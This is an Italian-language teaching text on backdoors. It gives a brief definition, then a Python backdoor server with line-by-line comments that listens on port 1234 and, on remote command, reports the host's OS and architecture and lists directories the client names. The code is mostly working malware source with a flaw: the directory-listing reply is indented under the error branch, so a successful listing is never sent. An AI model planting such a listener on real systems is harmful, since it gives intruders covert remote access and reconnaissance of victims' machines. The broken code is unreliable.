Le **backdoor** sono delle porte di comunicazione che danno la possibilità ad un attaccante di accedere da remoto al sistema informatico della vittima.
Una delle backdoor più tipiche è il cosiddetto 'trojan'.
Questo tipo di insidia consente agli aggressori di ottenere il controllo delle risorse di sistema, eseguire ricognizioni della rete e installare diversi tipi di malware.
Le backdoor possono inoltre essere introdotte da sviluppatori o amministratori di sistema per semplificare l'accesso e la manutenzione al sistema stesso, se vengono però scoperte o sfruttate da attori malevoli, ne possono comprometterne la sicurezza,.

```
import socket, platform, os #Importa la libreria socket, che fornisce le funzionalità di rete di base, inclusa la creazione e la gestione di socket per la comunicazione
                            #Importa la libreria platform, che fornisce informazioni sulla piattaforma, come il nome del sistema operativo e la versione della macchina
                            #Importa la libreria os, che fornisce funzionalità per interagire con il sistema operativo, come l'accesso ai file e alle directory

SRV_ADDR = ""  # Questa riga definisce la variabile SRV_ADDR, che rappresenta l'indirizzo del server. Nell'esempio, l'indirizzo è impostato su una stringa vuota (""). Un indirizzo vuoto ("") indica che il server sarà in ascolto su tutte le interfacce di rete disponibili sulla macchina
SRV_PORT =1234 #Questa riga definisce la variabile SRV_PORT, che rappresenta la porta sulla quale il server ascolterà le connessioni in arrivo. Nell'esempio, la porta è impostata su 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #Viene creato un socket chiamato 's' per l'utilizzo di IPv4 e TCP
s.bind((SRV_ADDR, SRV_PORT)) #Il socket viene legato all'indirizzo (SRV_ADDR) e alla porta (SRV_PORT) specificati
s.listen(1) #Il server inizia ad ascoltare le connessioni in entrata con un massimo di una connessione in coda
connection, address = s.accept() #Quando un client si connette, il server accetta la connessione, creando un nuovo oggetto socket (connection) e ottenendo l'indirizzo del client (address)

print ("client connected: ", address) #Questa riga stampa un messaggio indicando che un client si è connesso e ne mostra l'indirizzo (address)

while 1: #Il server entra in un loop infinito per gestire continuamente le richieste del client
    try: #Il server tenta di ricevere dati dal client
```

```
        data = connection.recv(1024)  #connection: È l'oggetto socket specifico per la comunicazione con il client che è stato restituito dal metodo accept().
                                      #recv(1024): Questo metodo riceve i dati inviati dal client. L'argomento 1024 specifica la dimensione massima dei dati da ricevere in byte
    except:continue #In caso di errore, il loop continua alla successiva iterazione

    if(data.decode('utf-8') == '1'): #Se i dati ricevuti sono '1',
        tosend = platform.platform() + " " + platform.machine() #il server invia al client informazioni sulla piattaforma (sistema operativo e architettura della macchina)
        connection.sendall(tosend.encode()) # Il metodo sendall assicura che tutti i dati siano inviati
    elif(data.decode('utf-8') == '2'): #Se i dati sono '2',
        data = connection.recv(1024) #il server si aspetta un ulteriore messaggio dal client contenente un percorso di directory,
        try:
            filelist = os.listdir(data.decode('utf-8')) #successivamente, il server cerca di elencare i file in quella directory utilizzando os.listdir()
            tosend = "" #inizializza una stringa tosend
            for x in filelist: #Per ogni file nella lista filelist,
                tosend += "," + x #il server aggiunge una virgola e il nome del file alla stringa tosend. In questo modo, la stringa finale conterrà l'elenco dei file separati da virgola.
        except: # Se si verifica un errore durante il tentativo di ottenere l'elenco dei file (ad esempio, la directory non esiste),
            tosend = "Wrong path" #il server imposta la stringa tosend a "Wrong path"
            connection.sendall(tosend.encode()) #e la invia al client
    elif(data.decode('utf-8') == '0'): #Se i dati sono '0',
        connection.close() #il server chiude la connessione corrente e
        connection, address = s.accept() #accetta una nuova connessione in entrata
```